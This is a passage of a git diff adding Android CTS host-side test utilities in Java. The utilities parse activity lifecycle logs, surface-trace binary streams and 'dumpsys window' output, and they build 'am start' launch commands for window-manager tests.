+    private static final Pattern sMultiWindowModeChangedPattern =
+            Pattern.compile("(.+): onMultiWindowModeChanged");
+    private static final Pattern sPictureInPictureModeChangedPattern =
+            Pattern.compile("(.+): onPictureInPictureModeChanged");
+    private static final Pattern sNewConfigPattern = Pattern.compile(
+            "(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
+            + " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
+            + " orientation=(\\d+)");
+    private static final Pattern sDisplayStatePattern =
+            Pattern.compile("Display Power: state=(.+)");
+
+    class ReportedSizes {
+        int widthDp;
+        int heightDp;
+        int displayWidth;
+        int displayHeight;
+        int metricsWidth;
+        int metricsHeight;
+        int smallestWidthDp;
+        int densityDpi;
+        int orientation;
+
+        @Override
+        public String toString() {
+            return "ReportedSizes: {widthDp=" + widthDp + " heightDp=" + heightDp
+                    + " displayWidth=" + displayWidth + " displayHeight=" + displayHeight
+                    + " metricsWidth=" + metricsWidth + " metricsHeight=" + metricsHeight
+                    + " smallestWidthDp=" + smallestWidthDp + " densityDpi=" + densityDpi
+                    + " orientation=" + orientation + "}";
+        }
+
+        @Override
+        public boolean equals(Object obj) {
+            if ( this == obj ) return true;
+            if ( !(obj instanceof ReportedSizes) ) return false;
+            ReportedSizes that = (ReportedSizes) obj;
+            return widthDp == that.widthDp
+                    && heightDp == that.heightDp
+                    && displayWidth == that.displayWidth
+                    && displayHeight == that.displayHeight
+                    && metricsWidth == that.metricsWidth
+                    && metricsHeight == that.metricsHeight
+                    && smallestWidthDp == that.smallestWidthDp
+                    && densityDpi == that.densityDpi
+                    && orientation == that.orientation;
+        }
+    }
+
+    ReportedSizes getLastReportedSizesForActivity(String activityName, String logSeparator)
+            throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        ReportedSizes result;
+        do {
+            result = readLastReportedSizes(activityName, logSeparator);
+            if (result == null) {
+                log("***Waiting for sizes to be reported...");
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+        return result;
+    }
+
+    private ReportedSizes readLastReportedSizes(String activityName, String logSeparator)
+            throws DeviceNotAvailableException {
+        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sNewConfigPattern.matcher(line);
+            if (matcher.matches()) {
+                ReportedSizes details = new ReportedSizes();
+                details.widthDp = Integer.parseInt(matcher.group(2));
+                details.heightDp = Integer.parseInt(matcher.group(3));
+                details.displayWidth = Integer.parseInt(matcher.group(4));
+                details.displayHeight = Integer.parseInt(matcher.group(5));
+                details.metricsWidth = Integer.parseInt(matcher.group(6));
+                details.metricsHeight = Integer.parseInt(matcher.group(7));
+                details.smallestWidthDp = Integer.parseInt(matcher.group(8));
+                details.densityDpi = Integer.parseInt(matcher.group(9));
+                details.orientation = Integer.parseInt(matcher.group(10));
+                return details;
+            }
+        }
+        return null;
+    }
+
+    class ActivityLifecycleCounts {
+        int mCreateCount;
+        int mResumeCount;
+        int mConfigurationChangedCount;
+        int mLastConfigurationChangedLineIndex;
+        int mMovedToDisplayCount;
+        int mMultiWindowModeChangedCount;
+        int mLastMultiWindowModeChangedLineIndex;
+        int mPictureInPictureModeChangedCount;
+        int mLastPictureInPictureModeChangedLineIndex;
+        int mPauseCount;
+        int mStopCount;
+        int mLastStopLineIndex;
+        int mDestroyCount;
+
+        public ActivityLifecycleCounts(String activityName, String logSeparator)
+                throws DeviceNotAvailableException {
+            int lineIndex = 0;
+            for (String line : getDeviceLogsForComponent(activityName, logSeparator)) {
+                line = line.trim();
+                lineIndex++;
+
+                Matcher matcher = sCreatePattern.matcher(line);
+                if (matcher.matches()) {
+                    mCreateCount++;
+                    continue;
+                }
+
+                matcher = sResumePattern.matcher(line);
+                if (matcher.matches()) {
+                    mResumeCount++;
+                    continue;
+                }
+
+                matcher = sConfigurationChangedPattern.matcher(line);
+                if (matcher.matches()) {
+                    mConfigurationChangedCount++;
+                    mLastConfigurationChangedLineIndex = lineIndex;
+                    continue;
+                }
+
+                matcher = sMovedToDisplayPattern.matcher(line);
+                if (matcher.matches()) {
+                    mMovedToDisplayCount++;
+                    continue;
+                }
+
+                matcher = sMultiWindowModeChangedPattern.matcher(line);
+                if (matcher.matches()) {
+                    mMultiWindowModeChangedCount++;
+                    mLastMultiWindowModeChangedLineIndex = lineIndex;
+                    continue;
+                }
+
+                matcher = sPictureInPictureModeChangedPattern.matcher(line);
+                if (matcher.matches()) {
+                    mPictureInPictureModeChangedCount++;
+                    mLastPictureInPictureModeChangedLineIndex = lineIndex;
+                    continue;
+                }
+
+                matcher = sPausePattern.matcher(line);
+                if (matcher.matches()) {
+                    mPauseCount++;
+                    continue;
+                }
+
+                matcher = sStopPattern.matcher(line);
+                if (matcher.matches()) {
+                    mStopCount++;
+                    mLastStopLineIndex = lineIndex;
+                    continue;
+                }
+
+                matcher = sDestroyPattern.matcher(line);
+                if (matcher.matches()) {
+                    mDestroyCount++;
+                    continue;
+                }
+            }
+        }
+    }
+
+    protected void stopTestCase() throws Exception {
+        executeShellCommand("am force-stop " + componentName);
+    }
+
+    protected LaunchActivityBuilder getLaunchActivityBuilder() {
+        return new LaunchActivityBuilder(mAmWmState, mDevice);
+    }
+
+    protected static class LaunchActivityBuilder {
+        private final ActivityAndWindowManagersState mAmWmState;
+        private final ITestDevice mDevice;
+
+        private String mTargetActivityName;
+        private String mTargetPackage = componentName;
+        private boolean mToSide;
+        private boolean mRandomData;
+        private boolean mNewTask;
+        private boolean mMultipleTask;
+        private int mDisplayId = INVALID_DISPLAY_ID;
+        private String mLaunchingActivityName = LAUNCHING_ACTIVITY;
+        private boolean mReorderToFront;
+        private boolean mWaitForLaunched;
+
+        public LaunchActivityBuilder(ActivityAndWindowManagersState amWmState,
+                                     ITestDevice device) {
+            mAmWmState = amWmState;
+            mDevice = device;
+            mWaitForLaunched = true;
+        }
+
+        public LaunchActivityBuilder setToSide(boolean toSide) {
+            mToSide = toSide;
+            return this;
+        }
+
+        public LaunchActivityBuilder setRandomData(boolean randomData) {
+            mRandomData = randomData;
+            return this;
+        }
+
+        public LaunchActivityBuilder setNewTask(boolean newTask) {
+            mNewTask = newTask;
+            return this;
+        }
+
+        public LaunchActivityBuilder setMultipleTask(boolean multipleTask) {
+            mMultipleTask = multipleTask;
+            return this;
+        }
+
+        public LaunchActivityBuilder setReorderToFront(boolean reorderToFront) {
+            mReorderToFront = reorderToFront;
+            return this;
+        }
+
+        public LaunchActivityBuilder setTargetActivityName(String name) {
+            mTargetActivityName = name;
+            return this;
+        }
+
+        public LaunchActivityBuilder setTargetPackage(String pkg) {
+            mTargetPackage = pkg;
+            return this;
+        }
+
+        public LaunchActivityBuilder setDisplayId(int id) {
+            mDisplayId = id;
+            return this;
+        }
+
+        public LaunchActivityBuilder setLaunchingActivityName(String name) {
+            mLaunchingActivityName = name;
+            return this;
+        }
+
+        public LaunchActivityBuilder setWaitForLaunched(boolean shouldWait) {
+            mWaitForLaunched = shouldWait;
+            return this;
+        }
+
+        public void execute() throws Exception {
+            StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(mLaunchingActivityName));
+            commandBuilder.append(" -f 0x20000000");
+
+            // Add a flag to ensure we actually mean to launch an activity.
+            commandBuilder.append(" --ez launch_activity true");
+
+            if (mToSide) {
+                commandBuilder.append(" --ez launch_to_the_side true");
+            }
+            if (mRandomData) {
+                commandBuilder.append(" --ez random_data true");
+            }
+            if (mNewTask) {
+                commandBuilder.append(" --ez new_task true");
+            }
+            if (mMultipleTask) {
+                commandBuilder.append(" --ez multiple_task true");
+            }
+            if (mReorderToFront) {
+                commandBuilder.append(" --ez reorder_to_front true");
+            }
+            if (mTargetActivityName != null) {
+                commandBuilder.append(" --es target_activity ").append(mTargetActivityName);
+                commandBuilder.append(" --es package_name ").append(mTargetPackage);
+            }
+            if (mDisplayId != INVALID_DISPLAY_ID) {
+                commandBuilder.append(" --ei display_id ").append(mDisplayId);
+            }
+            executeShellCommand(mDevice, commandBuilder.toString());
+
+            if (mWaitForLaunched) {
+                mAmWmState.waitForValidState(mDevice, new String[]{mTargetActivityName},
+                        null /* stackIds */, false /* compareTaskAndStackBounds */, mTargetPackage);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/StateLogger.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java
similarity index 100%
rename from hostsidetests/services/activitymanager/src/android/server/cts/StateLogger.java
rename to hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java
new file mode 100644
index 0000000..8026e80
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java
@@ -0,0 +1,380 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import com.android.ddmlib.IShellOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.awt.Rectangle;
+import java.io.ByteArrayInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.lang.System;
+import junit.framework.Assert;
+
+import static android.server.cts.StateLogger.logE;
+
+// Parses a trace of surface commands from the WM (in real time)
+// and dispenses them via the SurfaceObserver interface.
+//
+// Data enters through addOutput
+public class SurfaceTraceReceiver implements IShellOutputReceiver {
+    final SurfaceObserver mObserver;
+
+    private State mState = State.CMD;
+    private String mCurrentWindowName = null;
+    private int mArgPosition = 0;
+    private float[] mTmpFloats = new float[10];
+    private int[] mTmpInts = new int[10];
+    private Rectangle.Float mTmpRect = new Rectangle.Float();
+    private byte[] mUnprocessedBytes = new byte[16384];
+    private byte[] mFullData = new byte[32768];
+    private int mUnprocessedBytesLength;
+
+    private boolean mCancelled = false;
+
+    interface SurfaceObserver {
+        default void setAlpha(String windowName, float alpha) {}
+        default void setLayer(String windowName, int layer) {}
+        default void setPosition(String windowName, float x, float y) {}
+        default void setSize(String widnowName, int width, int height) {}
+        default void setLayerStack(String windowName, int layerStack) {}
+        default void setMatrix(String windowName, float dsdx, float dtdx, float dsdy, float dtdy) {}
+        default void setCrop(String windowName, Rectangle.Float crop) {}
+        default void setFinalCrop(String windowName, Rectangle.Float finalCrop) {}
+        default void hide(String windowName) {}
+        default void show(String windowName) {}
+        default void setGeometryAppliesWithResize(String windowName) {}
+        default void openTransaction() {}
+        default void closeTransaction() {}
+    };
+
+    enum State {
+        CMD,
+        SET_ALPHA,
+        SET_LAYER,
+        SET_POSITION,
+        SET_SIZE,
+        SET_CROP,
+        SET_FINAL_CROP,
+        SET_LAYER_STACK,
+        SET_MATRIX,
+        HIDE,
+        SHOW,
+        GEOMETRY_APPLIES_WITH_RESIZE
+    };
+
+    SurfaceTraceReceiver(SurfaceObserver observer) {
+        mObserver = observer;
+    }
+
+    // Reset state and prepare to accept a new command.
+    void nextCmd(DataInputStream d) {
+        mState = State.CMD;
+        mCurrentWindowName = null;
+        mArgPosition = 0;
+
+        try {
+            // Consume the sigil
+            d.readByte();
+            d.readByte();
+            d.readByte();
+            d.readByte();
+        } catch (Exception e) {
+            logE("Exception consuming sigil: " + e);
+        }
+    }
+
+    // When the command parsing functions below are called, the window name
+    // will already be parsed. The responsibility of these functions
+    // is to parse other arguments 1 by 1 and accumlate them until the appropriate number
+    // is reached. At that point the parser should emit an event to the observer and
+    // call nextCmd
+    void parseAlpha(DataInputStream d) throws IOException {
+        float alpha = d.readFloat();
+        mObserver.setAlpha(mCurrentWindowName, alpha);
+        nextCmd(d);
+    }
+
+    void parseLayer(DataInputStream d) throws IOException {
+        int layer = d.readInt();
+        mObserver.setLayer(mCurrentWindowName, layer);
+        nextCmd(d);
+    }
+
+    void parsePosition(DataInputStream d) throws IOException {
+        mTmpFloats[mArgPosition] = d.readFloat();
+        mArgPosition++;
+        if (mArgPosition == 2)  {
+            mObserver.setPosition(mCurrentWindowName, mTmpFloats[0], mTmpFloats[1]);
+            nextCmd(d);
+        }
+    }
+
+    void parseSize(DataInputStream d) throws IOException {
+        mTmpInts[mArgPosition] = d.readInt();
+        mArgPosition++;
+        if (mArgPosition == 2) {
+            mObserver.setSize(mCurrentWindowName, mTmpInts[0], mTmpInts[1]);
+            nextCmd(d);
+        }
+    }
+
+    // Careful Android rectangle rep is top-left-right-bottom awt is top-left-width-height
+    void parseCrop(DataInputStream d) throws IOException {
+        mTmpFloats[mArgPosition] = d.readFloat();
+        mArgPosition++;
+        if (mArgPosition == 4) {
+            mTmpRect.setRect(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2]-mTmpFloats[0],
+                    mTmpFloats[3]-mTmpFloats[1]);
+            mObserver.setCrop(mCurrentWindowName, mTmpRect);
+            nextCmd(d);
+        }
+    }
+
+    void parseFinalCrop(DataInputStream d) throws IOException {
+        mTmpFloats[mArgPosition] = d.readInt();
+        mArgPosition++;
+        if (mArgPosition == 4) {
+            mTmpRect.setRect(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2]-mTmpFloats[0],
+                    mTmpFloats[3]-mTmpFloats[1]);
+            mObserver.setFinalCrop(mCurrentWindowName, mTmpRect);
+            nextCmd(d);
+        }
+    }
+
+    void parseLayerStack(DataInputStream d) throws IOException {
+        int layerStack = d.readInt();
+        mObserver.setLayerStack(mCurrentWindowName, layerStack);
+        nextCmd(d);
+    }
+
+    void parseSetMatrix(DataInputStream d) throws IOException {
+        mTmpFloats[mArgPosition] = d.readFloat();
+        mArgPosition++;
+        if (mArgPosition == 4) {
+            mObserver.setMatrix(mCurrentWindowName, mTmpFloats[0],
+                    mTmpFloats[1], mTmpFloats[2], mTmpFloats[3]);
+            nextCmd(d);
+        }
+    }
+
+    void parseHide(DataInputStream d) throws IOException {
+        mObserver.hide(mCurrentWindowName);
+        nextCmd(d);
+    }
+
+    void parseShow(DataInputStream d) throws IOException {
+        mObserver.show(mCurrentWindowName);
+        nextCmd(d);
+    }
+
+    void parseGeometryAppliesWithResize(DataInputStream d) throws IOException {
+        mObserver.setGeometryAppliesWithResize(mCurrentWindowName);
+        nextCmd(d);
+    }
+
+    public int indexAfterLastSigil(byte[] data, int offset, int length) {
+        int idx = offset + length - 1;
+        int sigilsNeeded = 4;
+        byte sigil = (byte)0xfc;
+        while (idx > offset) {
+            if (data[idx] == sigil) {
+                sigilsNeeded--;
+                if (sigilsNeeded == 0) {
+                    return idx+4;
+                }
+            } else {
+                sigilsNeeded = 4;
+            }
+            idx--;
+        }
+        return idx; // idx == offset at this point
+    }
+
+    // The tricky bit here is ADB may break up our words, and not send us complete messages,
+    // or even complete integers! To ensure we process the data in appropciate chunks,
+    // We look for a sigil (0xfcfcfcfc) and only process data when it ends in as igil.
+    // Otherwise we save it and wait to receive a sigil, then process the merged data.
+    public void addOutput(byte[] data, int offset, int length) {
+        byte[] combinedData = data;
+
+        // First we have to merge any unprocessed bytes from the last call in to
+        // a combined array.
+        if (mUnprocessedBytesLength > 0) {
+            System.arraycopy(mUnprocessedBytes, 0, mFullData, 0, mUnprocessedBytesLength);
+            System.arraycopy(data, offset, mFullData, mUnprocessedBytesLength, length);
+            combinedData = mFullData;
+            length = mUnprocessedBytesLength + length;
+            offset = 0;
+            mUnprocessedBytesLength = 0;
+        }
+
+        // Now we find the last sigil in our combined array. Everything before this index is
+        // a properly terminated message ready to be parsed.
+        int completedIndex = indexAfterLastSigil(combinedData, offset, length);
+        // If there are any bytes left after the last sigil, save them for next time.
+        if (completedIndex != length + offset) {
+            mUnprocessedBytesLength = (length+offset)-(completedIndex);
+            System.arraycopy(combinedData, completedIndex,
+                    mUnprocessedBytes, 0, mUnprocessedBytesLength);
+        }
+        //  If there was no sigil, we have nothing to process yet.
+        if (completedIndex <= offset) {
+            return;
+        }
+        ByteArrayInputStream b = new ByteArrayInputStream(combinedData, offset, completedIndex - offset);
+        DataInputStream d = new DataInputStream(b);
+
+        // We may not receive an entire message at once (for example we may receive
+        // a command without its arguments), so we track our current state, over multiple
+        // addOutput calls. When we are in State.CMD it means we next expect a new command.
+        // If we are not expecting a command, then all commands with arguments, begin with
+        // a window name. Once we have the window name, individual parseAlpha,
+        // parseLayer, etc...statements will parse command arguments one at a time. Once
+        // the appropriate number of arguments is collected the observer will be invoked
+        // and the state reset. For commands which have no arguments (e.g. open/close transaction),
+        // parseCmd can emit the observer event and call nextCmd() right away.
+        try {
+            while (b.available() > 0) {
+                if (mState != State.CMD && mCurrentWindowName == null) {
+                    mCurrentWindowName = d.readUTF();
+                    if (b.available() == 0) {
+                        return;
+                    }
+                }
+                switch (mState) {
+                case CMD: {
+                    String cmd = d.readUTF();
+                    parseCmd(d, cmd);
+                    break;
+                }
+                case SET_ALPHA: {
+                    parseAlpha(d);
+                    break;
+                }
+                case SET_LAYER: {
+                    parseLayer(d);
+                    break;
+                }
+                case SET_POSITION: {
+                    parsePosition(d);
+                    break;
+                }
+                case SET_SIZE: {
+                    parseSize(d);
+                    break;
+                }
+                case SET_CROP: {
+                    parseCrop(d);
+                    break;
+                }
+                case SET_FINAL_CROP: {
+                    parseFinalCrop(d);
+                    break;
+                }
+                case SET_LAYER_STACK: {
+                    parseLayerStack(d);
+                    break;
+                }
+                case SET_MATRIX: {
+                    parseSetMatrix(d);
+                    break;
+                }
+                case HIDE: {
+                    parseHide(d);
+                    break;
+                }
+                case SHOW: {
+                    parseShow(d);
+                    break;
+                }
+                case GEOMETRY_APPLIES_WITH_RESIZE: {
+                    parseGeometryAppliesWithResize(d);
+                    break;
+                }
+                }
+            }
+        } catch (Exception e) {
+            logE("Error in surface trace receiver: " + e.toString());
+        }
+    }
+
+    void parseCmd(DataInputStream d, String cmd) {
+        switch (cmd) {
+        case "Alpha":
+            mState = State.SET_ALPHA;
+            break;
+        case "Layer":
+            mState = State.SET_LAYER;
+            break;
+        case "Position":
+            mState = State.SET_POSITION;
+            break;
+        case "Size":
+            mState = State.SET_SIZE;
+            break;
+        case "Crop":
+            mState = State.SET_CROP;
+            break;
+        case "FinalCrop":
+            mState = State.SET_FINAL_CROP;
+            break;
+        case "LayerStack":
+            mState = State.SET_LAYER_STACK;
+            break;
+        case "Matrix":
+            mState = State.SET_MATRIX;
+            break;
+        case "Hide":
+            mState = State.HIDE;
+            break;
+        case "Show":
+            mState = State.SHOW;
+            break;
+        case "GeometryAppliesWithResize":
+            mState = State.GEOMETRY_APPLIES_WITH_RESIZE;
+            break;
+        case "OpenTransaction":
+            mObserver.openTransaction();
+            nextCmd(d);
+            break;
+        case "CloseTransaction":
+            mObserver.closeTransaction();
+            nextCmd(d);
+            break;
+        default:
+            Assert.fail("Unexpected surface command: " + cmd);
+            break;
+        }
+    }
+
+    @Override
+    public void flush() {
+    }
+
+    void cancel() {
+        mCancelled = true;
+    }
+
+    @Override
+    public boolean isCancelled() {
+        return mCancelled;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java
new file mode 100644
index 0000000..0cdf13e
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/WindowManagerState.java
@@ -0,0 +1,1149 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.cts.StateLogger.log;
+import static android.server.cts.StateLogger.logE;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+import java.awt.*;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class WindowManagerState {
+
+    public static final String TRANSIT_ACTIVITY_OPEN = "TRANSIT_ACTIVITY_OPEN";
+    public static final String TRANSIT_ACTIVITY_CLOSE = "TRANSIT_ACTIVITY_CLOSE";
+    public static final String TRANSIT_TASK_OPEN = "TRANSIT_TASK_OPEN";
+    public static final String TRANSIT_TASK_CLOSE = "TRANSIT_TASK_CLOSE";
+
+    public static final String TRANSIT_WALLPAPER_OPEN = "TRANSIT_WALLPAPER_OPEN";
+    public static final String TRANSIT_WALLPAPER_CLOSE = "TRANSIT_WALLPAPER_CLOSE";
+    public static final String TRANSIT_WALLPAPER_INTRA_OPEN = "TRANSIT_WALLPAPER_INTRA_OPEN";
+    public static final String TRANSIT_WALLPAPER_INTRA_CLOSE = "TRANSIT_WALLPAPER_INTRA_CLOSE";
+
+    public static final String TRANSIT_KEYGUARD_GOING_AWAY = "TRANSIT_KEYGUARD_GOING_AWAY";
+    public static final String TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER =
+            "TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER";
+    public static final String TRANSIT_KEYGUARD_OCCLUDE = "TRANSIT_KEYGUARD_OCCLUDE";
+    public static final String TRANSIT_KEYGUARD_UNOCCLUDE = "TRANSIT_KEYGUARD_UNOCCLUDE";
+
+    public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
+
+    private static final String DUMPSYS_WINDOW = "dumpsys window -a";
+
+    private static final Pattern sWindowPattern =
+            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+)\\}\\:");
+    private static final Pattern sStartingWindowPattern =
+            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Starting (.+)\\}\\:");
+    private static final Pattern sExitingWindowPattern =
+            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+) EXITING\\}\\:");
+    private static final Pattern sDebuggerWindowPattern =
+            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger: (.+)\\}\\:");
+
+    private static final Pattern sFocusedWindowPattern = Pattern.compile(
+            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) (\\S+)\\}");
+    private static final Pattern sAppErrorFocusedWindowPattern = Pattern.compile(
+            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Application Error\\: (\\S+)\\}");
+    private static final Pattern sWaitingForDebuggerFocusedWindowPattern = Pattern.compile(
+            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger\\: (\\S+)\\}");
+
+    private static final Pattern sFocusedAppPattern =
+            Pattern.compile("mFocusedApp=AppWindowToken\\{(.+) token=Token\\{(.+) "
+                    + "ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)");
+    private static final Pattern sStableBoundsPattern = Pattern.compile(
+            "mStable=\\((\\d+),(\\d+)\\)-\\((\\d+),(\\d+)\\)");
+    private static final Pattern sDefaultPinnedStackBoundsPattern = Pattern.compile(
+            "defaultBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
+    private static final Pattern sPinnedStackMovementBoundsPattern = Pattern.compile(
+            "movementBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
+    private static final Pattern sRotationPattern = Pattern.compile(
+            "mRotation=(\\d).*");
+    private static final Pattern sLastOrientationPattern = Pattern.compile(
+            ".*mLastOrientation=(\\d)");
+
+    private static final Pattern sLastAppTransitionPattern =
+            Pattern.compile("mLastUsedAppTransition=(.+)");
+    private static final Pattern sAppTransitionStatePattern =
+            Pattern.compile("mAppTransitionState=(.+)");
+
+    private static final Pattern sStackIdPattern = Pattern.compile("mStackId=(\\d+)");
+
+    private static final Pattern sInputMethodWindowPattern =
+            Pattern.compile("mInputMethodWindow=Window\\{([0-9a-fA-F]+) u\\d+ .+\\}.*");
+
+    private static final Pattern sDisplayIdPattern =
+            Pattern.compile("Display: mDisplayId=(\\d+)");
+
+    private static final Pattern sDisplayFrozenPattern =
+            Pattern.compile("mDisplayFrozen=([a-z]*) .*");
+
+    private static final Pattern sDockedStackMinimizedPattern =
+            Pattern.compile("mMinimizedDock=([a-z]*)");
+
+    private static final Pattern[] sExtractStackExitPatterns = {
+            sStackIdPattern, sWindowPattern, sStartingWindowPattern, sExitingWindowPattern,
+            sDebuggerWindowPattern, sFocusedWindowPattern, sAppErrorFocusedWindowPattern,
+            sWaitingForDebuggerFocusedWindowPattern,
+            sFocusedAppPattern, sLastAppTransitionPattern, sDefaultPinnedStackBoundsPattern,
+            sPinnedStackMovementBoundsPattern, sDisplayIdPattern, sDockedStackMinimizedPattern};
+
+    // Windows in z-order with the top most at the front of the list.
+    private List<WindowState> mWindowStates = new ArrayList();
+    // Stacks in z-order with the top most at the front of the list, starting with primary display.
+    private final List<WindowStack> mStacks = new ArrayList();
+    // Stacks on all attached displays, in z-order with the top most at the front of the list.
+    private final Map<Integer, List<WindowStack>> mDisplayStacks
+            = new HashMap<>();
+    private List<Display> mDisplays = new ArrayList();
+    private String mFocusedWindow = null;
+    private String mFocusedApp = null;
+    private String mLastTransition = null;
+    private String mAppTransitionState = null;
+    private String mInputMethodWindowAppToken = null;
+    private Rectangle mStableBounds = new Rectangle();
+    private final Rectangle mDefaultPinnedStackBounds = new Rectangle();
+    private final Rectangle mPinnedStackMovementBounds = new Rectangle();
+    private final LinkedList<String> mSysDump = new LinkedList();
+    private int mRotation;
+    private int mLastOrientation;
+    private boolean mDisplayFrozen;
+    private boolean mIsDockedStackMinimized;
+
+    void computeState(ITestDevice device) throws DeviceNotAvailableException {
+        // It is possible the system is in the middle of transition to the right state when we get
+        // the dump. We try a few times to get the information we need before giving up.
+        int retriesLeft = 3;
+        boolean retry = false;
+        String dump = null;
+
+        log("==============================");
+        log("      WindowManagerState      ");
+        log("==============================");
+        do {
+            if (retry) {
+                log("***Incomplete WM state. Retrying...");
+                // Wait half a second between retries for window manager to finish transitioning...
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            }
+
+            final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+            device.executeShellCommand(DUMPSYS_WINDOW, outputReceiver);
+            dump = outputReceiver.getOutput();
+            parseSysDump(dump);
+
+            retry = mWindowStates.isEmpty() || mFocusedApp == null;
+        } while (retry && retriesLeft-- > 0);
+
+        if (retry) {
+            log(dump);
+        }
+
+        if (mWindowStates.isEmpty()) {
+            logE("No Windows found...");
+        }
+        if (mFocusedWindow == null) {
+            logE("No Focused Window...");
+        }
+        if (mFocusedApp == null) {
+            logE("No Focused App...");
+        }
+    }
+
+    private void parseSysDump(String sysDump) {
+        reset();
+
+        Collections.addAll(mSysDump, sysDump.split("\\n"));
+
+        int currentDisplayId = DEFAULT_DISPLAY_ID;
+        while (!mSysDump.isEmpty()) {
+            final Display display =
+                    Display.create(mSysDump, sExtractStackExitPatterns);
+            if (display != null) {
+                log(display.toString());
+                mDisplays.add(display);
+                currentDisplayId = display.mDisplayId;
+                mDisplayStacks.put(currentDisplayId, new ArrayList<>());
+                continue;
+            }
+
+            final WindowStack stack =
+                    WindowStack.create(mSysDump, sStackIdPattern, sExtractStackExitPatterns);
+
+            if (stack != null) {
+                mStacks.add(stack);
+                mDisplayStacks.get(currentDisplayId).add(stack);
+                continue;
+            }
+
+
+            final WindowState ws = WindowState.create(mSysDump, sExtractStackExitPatterns);
+            if (ws != null) {
+                log(ws.toString());
+
+                // Check to see if we are in the middle of transitioning. If we are, we want to
+                // skip dumping until window manager is done transitioning windows.
+                if (ws.isStartingWindow()) {
+                    log("Skipping dump due to starting window transition...");
+                    return;
+                }
+
+                if (ws.isExitingWindow()) {
+                    log("Skipping dump due to exiting window transition...");
+                    return;
+                }
+
+                mWindowStates.add(ws);
+                continue;
+            }
+
+            final String line = mSysDump.pop().trim();
+
+            Matcher matcher = sFocusedWindowPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                final String focusedWindow = matcher.group(3);
+                log(focusedWindow);
+                mFocusedWindow = focusedWindow;
+                continue;
+            }
+
+            matcher = sAppErrorFocusedWindowPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                final String focusedWindow = matcher.group(3);
+                log(focusedWindow);
+                mFocusedWindow = focusedWindow;
+                continue;
+            }
+
+            matcher = sWaitingForDebuggerFocusedWindowPattern.matcher(line);
+            if (matcher.matches()) {
+                log(line);
+                final String focusedWindow = matcher.group(3);
